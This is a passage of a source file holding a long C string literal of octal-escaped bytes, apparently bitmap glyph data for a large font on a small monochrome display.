\"\\300\\300\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\377\\377\\377\\377\\177\\0\\0\\0\\1\\3\\7\\17\\37\\37\\37>>><\"\n  \">>>\\37\\37\\17\\17\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\300\\300\\300\\300\\300\\300\\300\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\340\\370\"\n  \"\\374\\376\\377\\77\\17\\7\\7\\7\\3\\7\\7\\7\\17\\17\\7\\2\\2\\0\\0\\0\\0\\377\\377\\377\\377\\377\\374>>\\37\\37\\17\"\n  \"\\37\\37\\77\\376\\376\\374\\370\\340\\200\\0\\0\\0\\0\\37\\377\\377\\377\\377\\360\\200\\0\\0\\0\\0\\0\\0\\0\\300\\377\\377\\377\\377\"\n  \"\\177\\0\\0\\0\\0\\0\\0\\3\\7\\17\\37\\37\\77>><>>\\77\\37\\37\\17\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\"\n  \"\\300\\300\\300\\300\\300\\300\\300\\300\\300\\0\\0\\0\\0\\0\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\303\\363\\377\\377\\377\\77\\17\"\n  \"\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\370\\376\\377\\377\\77\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\300\\370\\377\\377\\377\\77\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\70\\77\\77\\77\\77\\17\\1\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\300\\300\\300\\300\\300\\300\\300\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\370\\374\"\n  \"\\376\\377\\377\\17\\7\\7\\7\\3\\7\\7\\17\\37\\377\\377\\377\\374\\370\\0\\0\\0\\0\\0\\1\\203\\317\\317\\377\\377\\376|xx\"\n  \"x\\370\\374\\377\\377\\317\\307\\203\\0\\0\\0\\0\\0\\370\\376\\377\\377\\377\\307\\1\\0\\0\\0\\0\\0\\0\\1\\1\\207\\377\\377\\377\"\n  \"\\376\\374\\0\\0\\0\\0\\3\\7\\17\\37\\37\\37>>><>>>\\37\\37\\17\\17\\7\\3\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\300\\300\\300\\300\"\n  \"\\300\\300\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\370\\376\\377\\377\\77\\17\\7\\7\\7\\7\\7\\7\\37\\177\\377\\376\\374\\360\"\n  \"\\200\\0\\0\\0\\0\\17\\77\\177\\377\\377\\370\\360\\340\\300\\300\\300\\300\\340\\340\\360\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\200\\201\\3\\3\\3\\3\\3\\3\\3\\3\\201\\361\\377\\377\\377\\177\\17\\0\\0\\0\\0\\4\\16\\17\\37\\37>>><>>\"\n  \">\\37\\37\\17\\7\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\34>\\177\\177\\177\"\n  \">\\34\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\70|\\376\\376\\376|\\70\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\70|\\376\\376\\376|\\70\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\70|\\376\\376\\376\"\n  \"\\376\\374\\360\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0 \\60|\\77\\77\\37\\7\\3\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\200\\200\\300\\300\\340\\340\\360\\360\\370\\370||>>\\37\\37\\0\\70|\\374\\376\\376\\377\\357\\357\\307\\207\\207\\3\"\n  \"\\3\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\3\\3\\7\\17\\17\\37\\37>>||\\370\\370\\360\"\n  \"\\360\\340\\340\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\3\\3\\7\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\"\n  \"\\200\\200\\0\\0\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\0\\0<<<<\"\n  \"<<<<<<<<<<<<<<<<<<\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\37\\37>>\"\n  \"||\\370\\370\\360\\360\\340\\340\\300\\300\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\3\\3\"\n  \"\\203\\207\\307\\357\\357\\377\\376\\376\\374|\\70\\0\\340\\340\\360\\360\\370\\370||>>\\37\\37\\17\\17\\7\\3\\3\\1\\1\\0\"\n  \"\\0\\0\\0\\0\\7\\3\\3\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\340\\340\\360\\360\\360\\360\"\n  \"\\360\\360\\360\\340\\340\\300\\200\\0\\0\\0\\0\\0\\0\\6\\7\\17\\37\\17\\3\\3\\1\\1\\1\\1\\1\\1\\3\\207\\377\\377\\377\\377\"\n  \"\\374\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\340\\360\\370\\374\\376\\177\\77\\37\\17\\7\\1\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\7\\207\\207\\207\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\16\\37\\77\\77\"\n  \"\\77\\37\\16\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\300\\300\\300\\300\\300\\300\\300\\200\\200\\0\\0\\0\\0\\0\\0\\0\\300\\360\\374\\376\"\n  \"\\177\\77\\17\\17\\7\\7\\7\\3\\7\\207\\207\\207\\217\\277\\376\\374\\370\\340\\0\\0\\377\\377\\377\\3\\0\\0\\0\\360\\374\\376\\376\\37\"\n  \"\\17\\17\\17\\17\\17\\207\\377\\377\\377\\377\\0\\0\\77\\377\\377\\374\\360\\300\\200\\1\\7\\17\\37\\37\\36\\36\\36\\36\\37\\17\\37\\37\"\n  \"\\37\\37\\0\\0\\0\\0\\1\\3\\7\\17\\17\\37\\37>>>><>>>\\36\\37\\17\\14\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\340\\300\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\360\\374\\377\\377\\377\\376\\370\\300\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\200\\340\\374\\377\\377\\77\\7\\0\\3\\37\\177\\377\\377\\370\\340\\0\\0\\0\\0\\0\\0\\0\\340\\374\\377\"\n  \"\\377\\377\\37\\37\\36\\36\\36\\36\\36\\36\\37\\77\\377\\377\\377\\374\\340\\200\\0\\0\\77\\77\\77\\37\\3\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\7\\37\\77\\77\\77< \\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\200\\200\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\"\n  \"\\377\\3\\3\\3\\3\\3\\7\\7\\7\\7\\17\\37\\377\\377\\376\\374\\370\\0\\0\\0\\377\\377\\377\\377\\377xxxxx||\"\n  \"|\\374\\376\\377\\377\\377\\317\\207\\1\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\203\\377\\377\\377\"\n  \"\\377\\374\\0\\0\\77\\77\\77\\77\\77<<<<<<>>>>\\37\\37\\17\\17\\7\\3\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\300\\300\\300\"\n  \"\\300\\300\\300\\300\\200\\200\\0\\0\\0\\0\\0\\0\\0\\300\\360\\374\\376\\377\\177\\37\\17\\7\\7\\7\\3\\7\\7\\7\\17\\37\\177\\177\"\n  \"~<\\60\\0\\376\\377\\377\\377\\377\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\77\\377\\377\"\n  \"\\377\\374\\340\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\300\\300\\200\\0\\0\\0\\0\\0\\3\\7\\17\\17\\37\\37\\77>>\"\n  \">>>>\\37\\37\\17\\17\\7\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\200\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\"\n  \"\\377\\3\\3\\3\\3\\7\\7\\7\\7\\17\\37\\177\\377\\376\\374\\370\\340\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\1\\377\\377\\377\\377\\377\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\340\\370\\377\\377\\377\"\n  \"\\77\\7\\0\\0\\77\\77\\77\\77\\77<<<>>>>>\\37\\37\\17\\17\\7\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\"\n  \"\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\0\\0\\0\\377\\377\\377\\377\\377\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\"\n  \"\\3\\3\\0\\0\\0\\377\\377\\377\\377\\377xxxxxxxxxxxxx\\0\\0\\0\\0\\0\\0\\377\\377\\377\"\n  \"\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\77\\77\\77\\77\\77<<<<<<\"\n  \"<<<<<<<<<<\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\0\\0\\0\\0\\377\\377\"\n  \"\\377\\377\\377\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\0\\0\\0\\0\\377\\377\\377\\377\\377xxxxx\"\n  \"xxxxxxx\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\77\\77\\77\\77\\77\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\300\\300\"\n  \"\\300\\300\\300\\300\\200\\200\\200\\0\\0\\0\\0\\0\\0\\300\\360\\374\\376\\377\\77\\37\\17\\7\\7\\7\\7\\7\\7\\7\\17\\17\\77\\177\"\n  \"><\\30\\0\\376\\377\\377\\377\\377\\1\\0\\0\\0\\0\\0\\0\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\0\\7\\177\\377\\377\"\n  \"\\377\\374\\340\\200\\0\\0\\0\\0\\3\\3\\3\\3\\3\\3\\377\\377\\377\\377\\377\\0\\0\\0\\0\\3\\7\\17\\17\\37\\37>>>\"\n  \">>>>>\\37\\37\\37\\17\\17\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\300\\300\\300\\300\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\300\\300\\300\\300\\0\\0\\0\\377\\377\\377\"\n  \"\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\377\\377\\377\\377\\377xxxxxx\"\n  \"xxxxx\\377\\377\\377\\377\\377\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\"\n  \"\\377\\377\\0\\0\\0\\77\\77\\77\\77\\77\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\77\\77\\77\\77\\77\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\"\n  \"\\300\\300\\300\\300\\300\\300\\300\\0\\0\\0\\0\\0\\0\\0\\3\\3\\3\\3\\3\\3\\377\\377\\377\\377\\377\\3\\3\\3\\3\\3\\3\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0<<<<<<\\77\\77\\77\\77\"\n  \"\\77<<<<<<<\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\3\\3\\3\\3\\3\\3\\377\\377\\377\\377\\377\\3\\3\\3\\3\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\200\\0\\0\\0\\0\\0\\0\\0\\200\\377\\377\\377\\377\\377\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\6\\17\\17\\37\\37>>>>>>\\37\\37\\17\\7\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\300\\300\\300\\300@\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\200\\300\\300\\300\\300\\300@\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\200\\300\\360\\370\\374\\376\\77\\37\\17\\7\\3\"\n  \"\\1\\0\\0\\0\\377\\377\\377\\377\\377\\370|~\\377\\377\\377\\347\\203\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\"\n  \"\\377\\0\\0\\0\\1\\3\\17\\37\\177\\377\\376\\370\\360\\340\\200\\0\\0\\0\\0\\0\\77\\77\\77\\77\\77\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\3\\7\\37\\77\\77\\77<\\70\\60\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\300\\300\\300\\300\\300@\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\"\n  \"\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\77\\77\\77\\77\\77<<<<<<<<<<<<<<<<\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\300\\300\\300\\200\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\200\\300\\300\\300\\300\\0\\377\\377\\377\\377\\377\\376\\370\\340\\200\\0\\0\\0\\0\\0\\200\\340\\370\\376\\377\\377\"\n  \"\\377\\377\\377\\0\\377\\377\\377\\377\\377\\1\\7\\37\\177\\376\\370\\340\\370\\376\\77\\37\\7\\1\\377\\377\\377\\377\\377\\0\\377\\377\\377\\377\"\n  \"\\377\\0\\0\\0\\0\\1\\7\\7\\3\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\77\\77\\77\\77\\77\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\77\\77\\77\\77\\77\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\300\\300\\300\\300\\300\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\300\\300\\300\\300\\0\\0\\377\\377\\377\\377\"\n  \"\\377\\177\\376\\370\\340\\300\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\377\\377\\377\\377\\377\\0\\1\\7\\37\\177\\377\\374\"\n  \"\\360\\300\\200\\0\\0\\377\\377\\377\\377\\377\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\1\\3\\17\\77\\377\\376\\370\\377\\377\\377\"\n  \"\\377\\377\\0\\0\\77\\77\\77\\77\\77\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\17\\37\\77\\77\\77\\77\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\300\\300\\300\\300\"\n  \"\\300\\300\\300\\200\\200\\0\\0\\0\\0\\0\\0\\0\\340\\360\\374\\376\\377\\77\\37\\17\\7\\7\\7\\7\\7\\7\\17\\37\\77\\377\\376\\374\"\n  \"\\370\\340\\0\\0\\377\\377\\377\\377\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\377\\377\\377\\377\\377\\0\\77\\377\\377\\377\"\n  \"\\374\\340\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\370\\377\\377\\377\\177\\17\\0\\0\\0\\3\\7\\17\\17\\37\\37>>><\"\n  \">>\\77\\37\\37\\17\\7\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\200\\200\\200\\0\\0\\0\\0\\0\\0\\377\\377\\377\"\n  \"\\377\\377\\3\\3\\3\\3\\3\\3\\3\\7\\7\\7\\17\\77\\377\\377\\376\\374\\360\\0\\0\\377\\377\\377\\377\\377\\360\\360\\360\\360\\360\\360\"\n  \"\\360\\360\\360\\370\\370\\376\\177\\177\\77\\17\\3\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\77\\77\\77\\77\\77\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\300\\300\\300\\300\"\n  \"\\300\\300\\200\\200\\200\\0\\0\\0\\0\\0\\0\\0\\300\\360\\374\\376\\377\\77\\37\\17\\7\\7\\7\\7\\7\\7\\17\\37\\77\\377\\376\\374\"\n  \"\\370\\340\\0\\0\\377\\377\\377\\377\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\377\\377\\377\\377\\377\\0\\177\\377\\377\\377\"\n  \"\\374\\300\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\370\\377\\377\\377\\177\\17\\0\\0\\1\\3\\7\\17\\37\\77\\77>\\374\\374\\374\"\n  \"\\374>>\\37\\37\\17\\7\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\7\\17\\37\\37\\36\\36\\36\\36\\36\\36\"\n  \"\\36\\0\\0\\0\\0\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\200\\200\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\"\n  \"\\377\\377\\3\\3\\3\\3\\3\\3\\7\\7\\7\\17\\37\\377\\377\\376\\374\\360\\0\\0\\0\\377\\377\\377\\377\\377\\360\\360\\360\\360\\360\\360\"\n  \"\\360\\360\\360\\370\\374\\177\\77\\77\\17\\3\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\1\\7\\37\\177\\377\\376\\370\\340\\200\"\n  \"\\0\\0\\0\\0\\0\\77\\77\\77\\77\\77\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\7\\37\\77\\77><\\60\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\300\\300\\300\\300\"\n  \"\\300\\300\\300\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\360\\374\\376\\377\\377\\37\\17\\7\\7\\7\\3\\7\\7\\7\\17\\37\\77\\77\\36\"\n  \"\\4\\0\\0\\0\\0\\1\\7\\17\\37\\37\\77>||x\\370\\360\\360\\360\\340\\340\\300\\300\\200\\0\\0\\0\\0\\0\\200\\340\\300\"\n  \"\\200\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\3\\307\\377\\377\\377\\377\\374\\0\\0\\3\\7\\17\\17\\37\\37\\36>>><>\"\n  \">>>\\37\\37\\17\\17\\7\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\0\\0\\3\\3\\3\\3\"\n  \"\\3\\3\\3\\3\\377\\377\\377\\377\\377\\3\\3\\3\\3\\3\\3\\3\\3\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\"\n  \"\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\77\\77\\77\\77\\77\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\300\\300\\300\\300@\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\300\\300\\300\\300\\300\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\"\n  \"\\377\\377\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\177\\377\\377\\377\"\n  \"\\377\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\377\\377\\377\\377\\177\\0\\0\\0\\1\\7\\17\\17\\37\\37\\77>>>>\"\n  \">>\\77\\37\\37\\17\\17\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\300\\300\\300\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\300\\300\\300@\\7\\77\\377\\377\"\n  \"\\377\\370\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\374\\377\\377\\177\\17\\3\\0\\0\\0\\1\\7\\77\\377\\377\\376\\360\\200\\0\\0\"\n  \"\\0\\200\\360\\377\\377\\377\\37\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\17\\177\\377\\377\\374\\340\\374\\377\\377\\77\\7\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\17\\77\\77\\77\\17\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  